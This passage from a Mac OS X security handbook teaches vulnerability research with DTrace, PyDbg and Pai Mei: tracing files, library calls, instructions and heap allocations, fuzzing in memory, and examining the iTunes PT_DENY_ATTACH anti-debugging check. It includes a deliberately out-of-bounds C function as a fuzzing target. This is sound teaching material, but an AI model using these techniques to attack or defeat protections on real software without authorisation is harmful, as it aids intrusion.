Many typical C-style operations and functions are available in D. See the 
following code.

dtrace:::BEGIN 

{ 

        i = 0; 

} 

profile:::tick-1sec 

{ 

        i = i + 1; 

        printf(“Currently at %d”, i); 

} 

profile:::tick-1sec

/i==5/

{

        exit(0);

} 

Here the tick-1sec probe fi res every second. Notice the predicate /i==5/, 
which tells DTrace to fi re only when the variable i has the value 5. Using predi-
cates in this manner is the only way to affect the program fl ow conditionally; 
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there are no if-then statements in D. Executing this tracing request gives the 
following output.

$ sudo dtrace -s counter.d 

dtrace: script ‘counter.d’ matched 3 probes

CPU     ID                    FUNCTION:NAME

  0  18648                       :tick-1sec Currently at 1

  0  18648                       :tick-1sec Currently at 2

  0  18648                       :tick-1sec Currently at 3

  0  18648                       :tick-1sec Currently at 4

  0  18648                       :tick-1sec Currently at 5

  0  18648                       :tick-1sec 

Describing Probes
Each probe has a human-readable name as well as a unique ID number. To see 
a list of all the available probes on a system, run the following command.

$ sudo dtrace -l | more

   ID   PROVIDER       MODULE                     FUNCTION NAME

    1     dtrace                                           BEGIN

    2     dtrace                                           END

    3     dtrace                                           ERROR

    4   lockstat       mach_kernel         lck_mtx_lock adaptive-acquire

    5   lockstat       mach_kernel            lck_mtx_lock adaptive-spin

…

A provider is a kernel module that is responsible for carrying out the instru-
mentation for particular probes. That is to say, each provider has a number of 
probes associated with it. The human-readable name consists of four parts: the 
provider, module, function, and name. 

The provider is responsible for instrumenting the kernel for its particular 
probes. The module name is the name of the kernel module for the probe or the 
name of the user library that contains the probe—for example, libSystem.B.dylib. 
The function is the one in which the probe is located. Finally, the name fi eld 
supplies additional information on the probe’s use. 

When writing out the name of a probe, all four parts are necessary, separated 
by colons. For example, a valid name of a probe would be

fbt:mach_kernel:ptrace:entry

One of the things that make DTrace powerful is that if you do not supply 
an entry for each fi eld in a probe name, DTrace applies the specifi ed action to 
all probes that match the remaining fi elds. This is a wildcard mechanism that 
is very useful. It takes a small amount of time for each probe request to be 
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enacted; however, this time penalty is approximately per request, not per probe! 
Therefore, enabling 100 probes through one clever use of a wildcard takes no 
more signifi cant up-front time than enabling a single probe. 

The following code shows how this wildcard usage of DTrace can be utilized:

syscall:::entry

/pid == $1/ 

{ 

} 

This small but powerful DTrace script enables every probe from the syscall 
provider; that is, a probe at the beginning of each system call. Notice the use 
of the built-in variable pid, which specifi es the process identifi er (PID) of the 
process that invoked the probe. $1 is the fi rst argument passed to the program. 
Here is an example of this probe’s use:

$ sudo dtrace -s truss.d 1284

dtrace: script ‘truss.d’ matched 427 probes

CPU     ID                    FUNCTION:NAME

  1  18320                     kevent:entry 

  1  18320                     kevent:entry 

  1  18320                     kevent:entry 

  0  17644                    geteuid:entry 

  0  17644                    geteuid:entry 

  0  17642                     getuid:entry 

  0  17644                    geteuid:entry 

  0  18270                     stat64:entry 

  0  18270                     stat64:entry 

Notice that due to the wildcard, with one line in this D program, 427 probes 
were activated. 

Example: Using Dtrace 
Now that you have a basic understanding of DTrace, let’s examine how to 
leverage it to provide information that will help in fi nding and exploiting bugs 
in Leopard. 

Suppose you want to monitor which fi les an application is accessing. This 
could be useful for tracing information, for seeing whether there is a directory-
transversal attack during testing, or for identifying important confi guration 
fi les used by closed-source applications. To accomplish these tasks, in Windows 
there exists the Filemon utility. In Mac OS X there is fs_usage. Here we replicate 
the functionality in DTrace with fi lemon.d.

syscall::open:entry 

/pid == $1 / 

{ 
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        printf(“%s(%s)”, probefunc, copyinstr(arg0)); 

} 

syscall::open:return 

/pid == $1 / 

{ 

        printf(“\t\t = %d\n”, arg1); 

} 

syscall::close:entry 

/pid == $1/ 

{ 

        printf(“%s(%d)\n”, probefunc, arg0); 

} 

Running this simple tracing program reveals the fi les accessed by Preview.

$ sudo dtrace -qs filemon.d 2060

open(/Users/cmiller/Library/Mail Downloads/MyTravelPlans.pdf)           

= 8

close(8)

open(/.vol/234881026/1179352)           = 8

close(8)

open(/Applications/Preview.app/Contents/Resources/English.lproj/

PDFDocument.nib/keyedobjects.nib)           = 8

close(8)

open(/System/Library/Displays/Overrides/DisplayVendorID-610/

DisplayProductID-9c5f)           = 8

close(8)

open(/dev/autofs_nowait)           = 8

open(/System/Library/Displays/Overrides/Contents/Resources/da.lproj/

Localizable.strings)           = 9

close(9)

close(8)

Example: Using ltrace
DTrace provides a simple way to follow which library calls are executed, like the 
useful ltrace utility in Linux. Here is a very simple DTrace program that will do 
something similar. Obviously a more complete version could be written.

         pid$target:::entry 

         { 

                 ;

         } 

         pid$target:::return 

         { 

                 printf(“=%d\n”, arg1); 

         } 
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This script simply records when any function is called, and the return value of 
that function. By changing the script slightly, you could limit it to the functions 
within the main binary or just function calls from one library to another—for 
instance, WebKit to libSystem. That is the power of DTrace; it is completely 
confi gurable by the user.

Here is this script in action against Safari.

$ sudo dtrace –F -p 65527 -s ltrace.d 

  1 -> WTF::HashTable<int, int, WTF::IdentityExtractor<int>, 

WTF::IntHash<int>, WTF::HashTraits<int>, WTF::HashTraits<int> 

>::remove(i

  1 <- WTF::HashTable<int, int, WTF::IdentityExtractor<int>, 

WTF::IntHash<int>, WTF::HashTraits<int>, WTF::HashTraits<int> 

>::remove(i =6

  1 -> WebCore::TimerBase::heapDecreaseKey()

  1   -> void std::__push_heap<WebCore::TimerHeapIterator, int, 

WebCore::TimerHeapElement>(WebCore::TimerHeapIterator, int, int, WebCore

  1   <- void std::__push_heap<WebCore::TimerHeapIterator, int, 

WebCore::TimerHeapElement>(WebCore::TimerHeapIterator, int, int, WebCore 

=365032192

  1 <- WebCore::TimerBase::heapDecreaseKey() =365032192

  1 -> WebCore::updateSharedTimer()

  1 <- WebCore::updateSharedTimer() =0

  1 -> WebCore::stopSharedTimer()

  1   -> CFRunLoopTimerInvalidate

  1     -> CFRetain

  1     <- CFRetain =0

  1     -> _CFRetain

  1       -> OSAtomicCompareAndSwapIntBarrier

  1       <- OSAtomicCompareAndSwapIntBarrier =1

  1     <- _CFRetain =367732064

  1     -> spin_lock

  1       -> spin_lock

  1         -> CFDictionaryRemoveValue

  1           -> __CFDictionaryFindBuckets1a

  1           <- __CFDictionaryFindBuckets1a =238

  1         <- CFDictionaryRemoveValue =1582186028

It takes about 30 seconds for all the probes to be enabled. More detailed 
information could be included, as well, but this example is intended to show 
you how only a few lines of D can dig into what an application is doing. 
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Example: Instruction Tracer/Code-Coverage Monitor
It is useful to know the code that an application is executing. Using DTrace, you 
can get either an instruction trace or an overall code-coverage report. Although 
you cannot hope to apply millions of probes (for example, at each basic block), 
you can perform less ambitious tasks, such as monitoring which functions or 
instructions within a function are being executed. The following is a probe that 
traces all the instructions executed within the jsRegExpCompile function within 
the JavaScriptCore library. This function has been responsible for a couple of 
high-profi le vulnerabilities in Safari.

pid$target:JavaScriptCore:jsRegExpCompile*:

{ 

        printf(“08%x\n”, uregs[R_EIP]); 

} 

Running this script with DTrace produces a list of the instructions executed 
in this function.

$ sudo dtrace -qp 65567 -s instruction_tracer.d 

089478a4e0

089478a4e0

089478a4e1

089478a4e3

089478a4e4

…

Likewise, the following probe will trace all the functions called from the 
JavaScriptCore library.

pid$target:JavaScriptCore::entry

{ 

        printf(“08%x:%s\n”, uregs[R_EIP], probefunc); 

} 

Here is a sample of running it.

$ sudo dtrace -qp 65567 -s instruction_tracer2.d 

0894784cf0:WTF::fastMalloc(unsigned long)

0894787160:WTF::fastFree(void*)

0894787850:WTF::fastZeroedMalloc(unsigned long)

0894784cf0:WTF::fastMalloc(unsigned long)

0894787160:WTF::fastFree(void*)

089478f8e0:KJS::JSLock::lock()

089478f9a0:KJS::JSLock::registerThread()

089478f9b0:KJS::Collector::registerThread()

0894796910:KJS::JSObject::type() const

08947b3080:KJS::InternalFunctionImp::implementsCall() const

08947993f0:KJS::JSGlobalObject::globalExec()

0894799400:KJS::JSGlobalObject::startTimeoutCheck()
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08947fd3f0:KJS::JSObject::call(KJS::ExecState*, KJS::JSObject*, 

KJS::List const&)

08947b90b0:KJS::FunctionImp::callAsFunction(KJS::ExecState*, 

KJS::JSObject*, KJS::List const&)

08947b92c0:KJS::FunctionExecState::

FunctionExecState(KJS::JSGlobalObject*, KJS::JSObject*,

KJS::FunctionBodyNode*, KJS::ExecState*, KJS::F

08947b9430:KJS::JSGlobalObject::pushActivation(KJS::ExecState*)

08947b9530:KJS::ActivationImp::init(KJS::ExecState*)

If you aren’t interested in the order of execution but purely in which functions 
or instructions are executed, you can use the following probes. For instructions 
within a function, we use the following:

           pid$target:JavaScriptCore:jsRegExpCompile*:

           { 

                   @code_coverage[uregs[R_EIP]] = count();

           }

           END

           {

                   printa(“0x%x : %@d\n”, @code_coverage);

           } 

Here we trace only the instructions within the jsRegExpCompile function in 
the JavaScriptCore framework. Of course, we could do this for any combination of 
functions or, for that matter, all instructions. The @ sign denotes a special aggrega-
tion in D. This is an effi cient way for DTrace to collect data. The printa function is 
used to print aggregates, and the @ sign is used to print the corresponding aggre-
gate value—in this case the number of times the probe was executed.

Running this script against Safari reveals the following:

$ sudo dtrace -p 4535 -qs code_coverage.d 

^C

0x9714f4e1 : 6

0x9714f4e3 : 6

0x9714f4e4 : 6

0x9714f4e5 : 6

0x9714f4e6 : 6

0x9714f4e9 : 6

0x9714f4ec : 6

0x9714f4f1 : 6

0x9714f4f2 : 6

0x9714f4f5 : 6

0x9714f4f8 : 6

0x9714f4ff : 6

0x9714f501 : 6

0x9714f507 : 6

0x9714f50a : 6

…
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It doesn’t print anything until you quit DTrace, at which point it prints out all 
the instructions that were hit and the number of times each was executed.

Here is the function-coverage program.

pid$target:JavaScriptCore::entry

{ 

        @code_coverage[probefunc] = count();

} 

With just a few lines of D you are able to replicate much of the functionality 
of Pai Mei, which is a reverse-engineering framework named after a character in 
the movie Kill Bill 2. We’ll discuss Pai Mei in more detail in the section “Binary 
Code Coverage with Pai Mei” later in this chapter. Here is an example of this 
probe in use.

$ sudo dtrace -p 65567 -s code_coverage2.d 

dtrace: script ‘code_coverage2.d’ matched 2048 probes

^C

  KJS::CaseBlockNode::executeBlock(KJS::ExecState*, KJS::JSValue*)                

1

  KJS::Collector::collect()                                         1

  KJS::Collector::markCurrentThreadConservatively()                 1

  KJS::Collector::markProtectedObjects()                            1

  KJS::Collector::markStackObjectsConservatively(void*, void*)                

1

  KJS::DoWhileNode::execute(KJS::ExecState*)                        1

  KJS::EmptyStatementNode::EmptyStatementNode()                     1

  KJS::EmptyStatementNode::isEmptyStatement() const                 1

Example: Memory Tracer
The fi nal example is useful for heap analysis. This program will allow you to 
watch as buffers are allocated and freed. In particular, you can watch particular 
size allocations, which might help you track down what is happening to the data 
you are passing into the target program. Additionally, stack backtraces could be 
printed for allocations that match the buffer size using the D function ustack().

pid$target::malloc:entry,

pid$target::valloc:entry

{

        allocation = arg0;

}

pid$target::realloc:entry

{

        allocation = arg1;

}

95363c04.indd   9595363c04.indd   95 1/25/09   4:40:46 PM1/25/09   4:40:46 PM



96 Part II ■ Discovering Vulnerabilities

pid$target::calloc:entry

{

        allocation = arg0 * arg1;

}

pid$target::calloc:return, 

pid$target::malloc:return,

pid$target::valloc:return,

pid$target::realloc:return

/allocation > 300 && allocation < 9000/

{ 

        printf(“m: 0x%x (0x%x)\n”, arg1, allocation);

        mallocs[arg1] = allocation;

} 

This prints only allocations of sizes between 300 and 9,000 bytes. Running 
this against Safari provides the following output.

m: 0x8bbe00 (0x250)

f: 0x8bbe00 (0x250)

m: 0x8bbe00 (0x250)

f: 0x8bbe00 (0x250)

m: 0x8bbe00 (0x250)

f: 0x8bbe00 (0x250)

m: 0x8bbe00 (0x250)

f: 0x8bbe00 (0x250)

m: 0x8bbe00 (0x250)

m: 0x1726d810 (0x140)

f: 0x1726d810 (0x140)

m: 0x981200 (0x250)

…

PyDbg

DTrace is a great way to look inside a process and see what is going on; however, 
it does have some limitations. In particular, the D programming language has 
defi ciencies with regard to conditional statements. Furthermore, DTrace is designed 
only to trace, and sometimes you may want to do something a little more com-
plicated. For example, DTrace can’t do much with the virtual-memory layout of a 
process. Sometimes you want the options that only a full debugging session can 
provide. We already talked about GDB, which can be useful for simple things, but 
another tool exists: PyDbg. PyDbg was written as a pure Python Win32 debugger. 
Since it was written in Python, it could be accessed programmatically and also had 
access to all the existing Python libraries. In 2007 one of the authors of this book 
tried to port this library to Mac OS X, but it was very buggy and incomplete. A 
more complete version for Leopard is now available from the book’s website, www
.wiley.com/go/machackershandbook. PyDbg can be used to do anything you 
might want to do with GDB, except it can also utilize all the power of Python. 
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PyDbg Basics
We’ll step through a very basic PyDbg script to show you how it works. The 
following Python script sets a breakpoint at the address passed as the second 
argument and dumps out the context whenever it is hit. 

#!python

from pydbg import *

    

def handler_breakpoint (pydbg):

        print ‘————————————————Dumping context’

        print pydbg.dump_context()

        return DBG_CONTINUE

    

dbg = pydbg()

    

# register a breakpoint handler function.

dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)

dbg.attach(int(sys.argv[1]))

dbg.bp_set(int(sys.argv[2], 16),””, 1)

dbg.debug_event_loop()

The fi rst line imports the PyDbg framework. The next bit of code defi nes a 
function called handler_breakpoint that takes a pydbg instance as an argu-
ment. This function prints out the execution context of the process and then 
tells PyDbg the breakpoint exception has been handled. Next, the actual script 
begins. A pydbg instance is declared. Next, the handler_breakpoint function 
is set to handle breakpoint exceptions. The script then attaches to the process 
whose PID was passed as the fi rst argument and sets a breakpoint at the address 
passed as the second argument. 

The fi rst argument to the bp_set function is the address at which to place 
the breakpoint. The second is an optional description for the breakpoint. The 
fi nal argument is whether PyDbg should restore this breakpoint (once it is hit, 
determining whether the breakpoint should be removed or kept). Finally, the 
main PyDbg event-processing loop is entered. 

Running this example gives output similar to the following.

$ python test.py 1324 0x00001fc3

————————————————Dumping context

ALLOCATE RETURNED WITH 9000

CONTEXT DUMP

  EIP: 00001fc3 mov eax,[ebp-0xc]

  EAX: 00000000 (         0) -> N/A

  EBX: 00001fa6 (      8102) -> N/A

  ECX: bffff6ac (3221223084) -> /z (stack)

  EDX: 96735b06 (2524142342) -> N/A
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  EDI: 00000000 (         0) -> N/A

  ESI: 00000000 (         0) -> N/A

  EBP: bffff778 (3221223288) -> 

....n.......................................................O...{......

.................2...T.......*...;...C...W...g.........................

......./test.../test.MANPATH=/sw/share/man:/Library/Frameworks/Python.

framework/Versions/Current/man:/opt/local/sh (stack)

  ESP: bffff750 (3221223248) -> 

....B...K...................C...............n...........................

............................O...{.......................2...T.......*...

;...C...W...g................................/test.../test.MANPATH=/sw/

share/man:/Library/Frameworks/Python.fram (stack)

  +00: 00000001 (         1) -> N/A

  +04: 00000042 (        66) -> N/A

  +08: 8fe0154b (2413827403) -> N/A

  +0c: 00001000 (      4096) -> N/A

  +10: 00000000 (         0) -> N/A

  +14: 00000000 (         0) -> N/A

…

Now that you understand the basics of PyDbg, we’ll walk you through a few 
examples of its use to give a fl avor for the types of things it can do. The pos-
sibilities are limited only by the user’s imagination.

Memory Searching
One of the features that GDB is missing on all platforms is the ability to search 
memory. There are many times when this capability would be useful, such as 
when searching memory to see where a fi le has been mapped, or looking for 
shellcode. Using PyDbg, this is rather simple.

Consider the following PyDbg script:

#!python

from pydbg import *

    

dbg = pydbg()

dbg.attach(int(sys.argv[1]))

dbg.search_memory(“PATH”)

dbg.detach()

This script simply performs the necessary prologue, attaches to a process 
specifi ed by the PID, searches memory for the string “PATH,” and then detaches 
from the process. This is all accomplished in basically four lines of Python.

$ python test9.py 625 

8fe25ca0: 4c 44 5f 46 52 41 4d 45 57 4f 52 4b 5f 50 41 54  

LD_FRAMEWORK_PAT

8fe25cb0: 48 00 44 59 4c 44 5f 46 41 4c 4c 42 41 43 4b 5f 

H.DYLD_FALLBACK_
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bffff830: 73 74 00 00 2e 2f 74 65 73 74 00 4d 41 4e 50 41  

st…/test.MANPA

bffff840: 54 48 3d 2f 73 77 2f 73 68 61 72 65 2f 6d 61 6e 

TH=/sw/share/man

In this example, the script found two instances of the string “PATH” in 
memory.

In-Memory Fuzzing
In the next chapter, we will discuss the vulnerability-discovery technique 
known as fuzzing. This technique has been used to fi nd a variety of security 
issues in a wide range of programs. The basic idea is to send anomalous data 
into a program in an attempt to make it crash. One problem that comes up in 
fuzzing can be addressed with PyDbg. Namely, with fuzzing, we are limited 
to interacting only with the interfaces of the target, but sometimes we are inter-
ested in a particular section of code located deep within the program. 

This issue may manifest itself in a number of ways. The data entering the 
program may be encrypted. Rather than reimplement the program’s encryption 
algorithm so that the inputs are passed as the target expects, it would be easier to 
fuzz the part of the program that deals with the unencrypted payload. The same 
argument holds true for complex, multistep protocols. If we really want to fuzz 
only one packet type, but to get to that portion of the protocol we fi rst need to send 
a number of complex packets, we will be doing much more work than we’d like. 

An example of this occurs with SSL, where a number of packets need to be 
exchanged before certain SSL packets are expected and processed. The same 
would be true in a shopping application. If we wanted to fuzz the code respon-
sible for parsing a credit-card number, we’d have to design our fuzzer such that 
it authenticated to the application, selected some items for the shopping cart, 
checked out, and entered the shipping information, all before sending a single 
fuzzed credit-card number. Then it would have to clean up by removing items 
from the cart, logging out, etc. This is a lot of overhead when we’re interested 
in fuzzing only a few lines of code.

The solution is to fuzz not the interface, but the actual code we are interested 
in. Consider the following simple application:

#include <string.h>

#include <stdio.h>

void print_hi(int y){

        char x[4];

        memcpy(x, “hi”, 2);

        x[y] = 0;

        printf(“%s\n”, x);

}
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int main(int argc, char *argv[]){

        getchar();

        print_hi(atoi(argv[1]));

}

This program attempts to print out the word “hi” but allows the user to spec-
ify where the terminating NULL should go in the fi rst argument to the program. 
The call to getchar() is there to allow you time to attach to the program, but isn’t 
necessary. This program could easily be fuzzed in the traditional method, at the 
interface (in this case via command-line arguments), but here it is an example of 
how to fuzz from within a program. You can do this by writing a PyDbg script. 
The basic idea is to take a snapshot of the memory and context at the beginning 
of the function print_hi, then execute that function many times with different 
inputs, being careful to restore the snapshot before each execution. In this way 
you get to try many values of inputs to the function print_hi but you have to 
send only one input to the program. PyDbg handles the rest.

#!python

from pydbg import *

value = 0

def handler_badness (pydbg):

        global value

        print “Caused a fault with input %x” % value

        return DBG_EXCEPTION_HANDLED

def handler_breakpoint (pydbg):

        global value

        if(pydbg.context.Eip == 0x00001fbc):

                pydbg.suspend_all_threads()

                pydbg.process_snapshot()

                pydbg.resume_all_threads()

        elif (pydbg.context.Eip == 0x00001ffc) :

                pydbg.suspend_all_threads()

                pydbg.process_restore()

                pydbg.write_process_memory(pydbg.context.Esp, 

struct.pack(‘L’, value))

                pydbg.resume_all_threads()

                value = value + 1

        else:

                pydbg.bp_set(0x00001ffc,””, 0 ) 

        

        return DBG_CONTINUE

   

dbg = pydbg()
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# register a breakpoint handler function.

dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)

dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, handler_badness)

dbg.attach(int(sys.argv[1]))

dbg.bp_set(0x00001fbc,”Entry to function print_hi”,0 )

dbg.bp_set(0x00001fbf,”The next instruction after entry”,1 )

dbg.debug_event_loop()

Take a closer look at this script. Again the script begins by importing PyDbg. 
Next it defi nes an exception handler, which simply prints out the value of the 
global variable value. The next function contains the meat of the script. 

The function can take three actions, depending on the value of the program 
counter at the moment the function is called. The fi rst action is for when 
the function print_hi is entered. In that case the handler function takes a 
memory snapshot of the process. This entails saving a copy of all the writ-
able memory regions as well as the current values of the context (registers) 
for each of the threads.

The second action occurs after the execution of the instruction that follows 
the taking of the snapshot. Keep in mind that this will be the fi rst instruc-
tion executed after the snapshot is restored. This sets a breakpoint at the fi rst 
instruction that is executed after the print_hi function returns—that is, when 
the function being fuzzed is complete.

The third action occurs at this breakpoint, after the print_hi function com-
pletes. At this point the function has executed completely and no problems have 
been found, or else the program would not have gone this far. The script now 
restores the snapshot and writes a new value for the argument to this func-
tion, stored on the stack. It then continues execution (from where the snapshot 
occurred). Restoring the snapshot includes copying the stored memory regions 
to where they were read from and returning the context to its previous state.

Finally, the script registers these functions for the appropriate exceptions, 
attaches to the process in question, and sets breakpoints at the fi rst and second 
instructions in the function. It then enters the event loop. Notice that you can’t 
set the fi nal breakpoint for after print_hi completes before the fi rst snapshot 
is taken. Otherwise you run into the strange situation where the breakpoint 
is included in the snapshot (a 0xCC is in memory, but PyDbg may no longer 
realize it is there). Setting the breakpoint dynamically, like this script does, 
removes any possibility of the debugger getting confused with breakpoints 
stored within the snapshot.

Here is what running the program and attaching with the PyDbg Script 
looks like:

$ ./test5 2

hi
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h

hi

hi?

hi??

hi???

hi????

hi????u

hi????u?

hi????u?

hi????u??

hi????u???

hi????u????

hi????u?????

hi????u??????

hi????u???????

hi????u????????

Bus error

In the window running the fuzzer, you simply see the following output:

Caused a fault with input 11

In this case you fuzzed with the simplest type, an integer, but you could have 
done things more intelligently, such as by trying all the powers of 2, or large and 
small values, or other possibilities. For other types, such as strings (char *), each 
time you want to run the function being tested, you can allocate some space in the 
process being tested, write the string to this new space, and replace the pointer 
being passed to the function with a pointer to your new string. 

Binary Code Coverage with Pai Mei
Another situation in which DTrace fails is when you want to perform actions 
at hundreds (or thousands) of different places. It simply takes too long to acti-
vate that number of probes. An example of this is when you want to perform 
actions at each basic block, such as when collecting code coverage in binaries. 
For this, you would like to set a breakpoint at each basic block in a program. 
Then, by observing which breakpoints were hit, you would know which basic 
blocks were executed, and thus you would have your code-coverage informa-
tion without requiring source code. 

Code coverage can be useful during testing because it helps indicate the sec-
tions of code that have not been tested. Code-coverage information has other 
uses, as well. For example, when reverse-engineering a binary, you can isolate 
the function for which various pieces of the executable are responsible. In this 
manner, you are able to break up large binaries into smaller pieces that are more 
manageable. This can be helpful when trying to fi gure out why a particular 
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binary crashes on a given input. We’ll spend more time on reverse engineering 
in this manner in Chapter 6, “Reverse Engineering.”

Pai Mei is a reverse-engineering framework built on top of PyDbg (Figure 4-1). 
Since PyDbg now works on Mac OS X, we get Pai Mei for free. One of the most 
useful Pai Mei modules is called pstalker, or Process Stalker. This module does 
exactly what we have been discussing; it can set breakpoints at each function or 
basic block and record which are hit when tested. We’ll walk through a complete 
example of how to use this tool in Mac OS X.

 Figure 4-1:  An overview of the Pai Mei architecture

As an example of how you might use Pai Mei to isolate the portion of an 
executable that performs a particular action, consider the Calculator program 
that comes installed in Mac OS X. Suppose you wanted to know exactly which 
basic blocks in the binary were responsible for the + button (that is to say, only 
the basic blocks that are executed when the + button is pushed). One way to 
fi nd this information would be to spend many hours (or days) statically reverse-
engineering the binary and associated libraries in an attempt to understand 
exactly how the program works. Another approach is to use Pai Mei to get the 
answer in a few minutes.

The fi rst thing you need to do to use Pai Mei is to tell it where all the basic 
blocks from the binary begin—that is, where it should set the breakpoints. The 
way to do this is through IDA Pro (http://www.hex-rays.com/idapro/) a com-
mercial disassembler. For over a year, IDA Pro has had excellent support for 
Mach-O universal binaries. Unfortunately, IDA Pro runs only in Windows, so 
you’ll need a computer with Windows or a virtual machine running Windows 
for this step. Pai Mei works on individual libraries or binaries, so you’ll have to 
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decide which one to start with (you can include multiple ones, if you wish). The 
following code uses otool to get a list of the shared libraries Calculator uses.

$ otool -L /Applications/Calculator.app/Contents/MacOS/Calculator 

/Applications/Calculator.app/Contents/MacOS/Calculator:

/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa 

(compatibility version 1.0.0, current version 12.0.0)

/System/Library/PrivateFrameworks/SpeechDictionary.framework/Versions/A/

SpeechDictionary (compatibility version 1.0.0, current version 1.0.0)

/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/

SpeechObjects (compatibility version 1.0.0, current version 1.0.0)

/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/

SystemConfiguration (compatibility version 1.0.0, current version 

204.0.0)

/System/Library/PrivateFrameworks/Calculate.framework/Versions/A/

Calculate (compatibility version 1.0.0, current version 1.0.0)

/System/Library/Frameworks/ApplicationServices.framework/Versions/A/

ApplicationServices (compatibility version 1.0.0, current version 

34.0.0)

/usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 

1.0.0)

/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 

111.0.0)

/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 

227.0.0)

/System/Library/Frameworks/CoreFoundation.framework/Versions/A/

CoreFoundation (compatibility version 150.0.0, current version 476.0.0)

/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit 

(compatibility version 45.0.0, current version 949.0.0)

/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation 

(compatibility version 300.0.0, current version 677.0.0)

Of these, the Framework called Calculate seems most promising, so select 
that one. Grabbing that fi le, transferring it to a Windows computer with IDA 
Pro, and dragging it onto the IDA Pro icon starts the disassembly.

Immediately, IDA Pro recognizes it is a universal binary and asks which archi-
tecture you want to examine; see Figure 4-2. Select Fat Mach-O File, 3. I386. After 
a few seconds, IDA Pro will complete its disassembly. At this point you can take 
advantage of an IDA Pro add-on called IDAPython (http://d-dome.net/idapy-
thon/) that allows Python scripts to be run within IDA Pro. Pai Mei comes with 
one called pida_dump.py. Select File ➢ Python File ➢ pida_dump.py. It will ask 
what level of analysis you require. For this project, choose basic blocks. Answer 
no to the next two dialogues that concern API calls and RPC interfaces. Finally, 
save the resulting fi le as Calculate.pida.

PIDA fi les are binary fi les that contain the information Pai Mei needs for a given 
binary. Within Python, these contents can be accessed with the pida module:
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#!python

import pida

    

p = pida.load(“Calculator.pida”);

for f in p.nodes.values():

        print “Function %s starts at %x and ends at %x” % (f.name, 

f.ea_start, f.ea_end)

        for bb in f.nodes.values():

                print “     Basic block %x” % bb.ea_start

 Figure 4-2:  IDA Pro dissects the library.

Executing this script gives a list of the address of every basic block from the 
Calculate shared library, and each function.

Function _memcpy starts at c203 and ends at c207

     Basic block c203

Function _calc_yylex starts at 6605 and ends at 73ad

     Basic block 7200

     Basic block 7003

…

Now that you have the necessary PIDA fi le, it is time to fi re up Pai Mei and 
get to work. Start it from the command line.

$ python PAIMEIconsole.pyw 

Click on the PAIMEIpstalker icon. Pai Mei stores all of its information in a 
MySQL database. Connect to it by selecting Connections ➢ MySQL Connect. Next, 
load the PIDA fi le you created earlier by pressing the Add Module(s) button. 
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Now you need to create a couple of targets. The basic idea to discover what 
code is exclusively related to the + button is fi rst to fi nd code that is not associ-
ated with the + button. Then record the code executed when you press the + 
button, and remove any of the hits that were executed when you didn’t press 
the + button. Pai Mei has exactly this functionality. Right-click on Available 
Targets and select Add Target. Call it Calculator. Then right-click on that and 
select Add Tag. Create two tags, one called not-plus-button and another called 
plus-button-only. Right-click on not-plus-button and pick Use for Stalking. Then 
press the Refresh Process List button and fi nd the Calculator process. Click the 
radio button next to Basic for basic blocks. Uncheck the box marked Heavy. This 
setting is if you wish to record the context at each breakpoint. You care only 
about code coverage, so this is not necessary. Finally, press the Start Stalking 
button. It should say something like

Setting 936 breakpoints on basic blocks in Calculate

Now start doing things within the Calculator application, except do not hit the 
+ button. Do simple math, use the memory functions, and move the application 
around. As you perform actions, you’ll see breakpoints being hit within the Pai 
Mei GUI. The more breakpoints that are hit, the faster the application will go 
as more and more of the breakpoints will already be hit (and removed). When 
you can’t hit any more breakpoints, press the Stop Stalking button. Pai Mei will 
export all those hits into the MySQL database. You’ll see something like the 
following in the Pai Mei console window.

Exporting 208 hits to MySQL

Those are basic blocks that are not associated strictly with the + button in 
calculator. 

Now right-click the plus-button-only tag and pick Use for Stalking. Right 
click the not-plus-button tag and pick Filter Tag. This means “don’t set any 
breakpoints on any of the hits in this tag.” Therefore, any breakpoints hit will 
necessarily only have to do with the + button. Press the Start Stalking button 
again. In Calculator, do a simple addition. Press Stop Stalking. To see these hits 
in the Pai Mei GUI, right-click on the plus-button-only tag and select Load Hits. 
You screen will look something like Figure 4-3.

You’ll see that only four basic blocks were hit and they all seem to be in 
the same function. We can export these results into IDA Pro and look at them 
graphically. Right-click the plus-button-only tag again and select Export to IDA. 
This will create an IDC fi le, which is a script that IDA Pro understands. Now, 
back in IDA Pro, click File ➢ IDC File, and then select the fi le you just created. 
All the basic blocks that Pai Mei found were executed are now colored in within 
IDA Pro (see Figure 4-4). In this case, all the basic blocks executed are from 
one function, named _functionAddDecimal. It looks like you found the code 
responsible for the + button!
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 Figure 4-3:  The Pai Mei GUI displays the basic blocks associated with the + button.

 Figure 4-4:  IDA Pro displaying the basic blocks executed by the + button
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iTunes Hates You

As discussed previously, iTunes has certain anti-debugging features built into it. 
Namely, it is not possible to attach or trace to the process using GDB or DTrace.

Observe what happens if you try to attach to iTunes using GDB:

(gdb) attach 1149

Attaching to process 1149.

Segmentation fault

This is because iTunes issues the ptrace PT_DENY_ATTACH request when 
it starts up and at other times within its lifetime. The man page for ptrace 
explains:

PT_DENY_ATTACH

This request is the other operation used by the traced process; it allows a process 
that is not currently being traced to deny future traces by its parent. All other 
arguments are ignored. If the process is currently being traced, it will exit with 
the exit status of ENOTSUP; otherwise, it sets a fl ag that denies future traces. 
An attempt by the parent to trace a process which has set this fl ag will result in a 
segmentation violation in the parent.

Trying to attach to iTunes with GDB (or any ptrace-like debugger) causes 
it to die with a segmentation violation—how rude! Trying to run a DTrace 
script against iTunes doesn’t crash, but doesn’t actually turn on the probes. 
From DTrace’s perspective, absolutely nothing is happening within iTunes! 
Presumably, this anti-debugging feature is to protect Apple’s DRM. 

This mechanism is enforced in the kernel. Checking out the XNU source code 
reveals the magic. You see in the fi le bsd/kern/mach_process.c the following 
code for the ptrace system call.

        if (uap->req == PT_DENY_ATTACH) {

                proc_lock(p);

                if (ISSET(p->p_lflag, P_LTRACED)) {

                        proc_unlock(p);

                        exit1(p, W_EXITCODE(ENOTSUP, 0), retval);

                        /* drop funnel before we return */

                        thread_exception_return();

                        /* NOTREACHED */

                }

                SET(p->p_lflag, P_LNOATTACH);

                proc_unlock(p);

                return(0);

        }
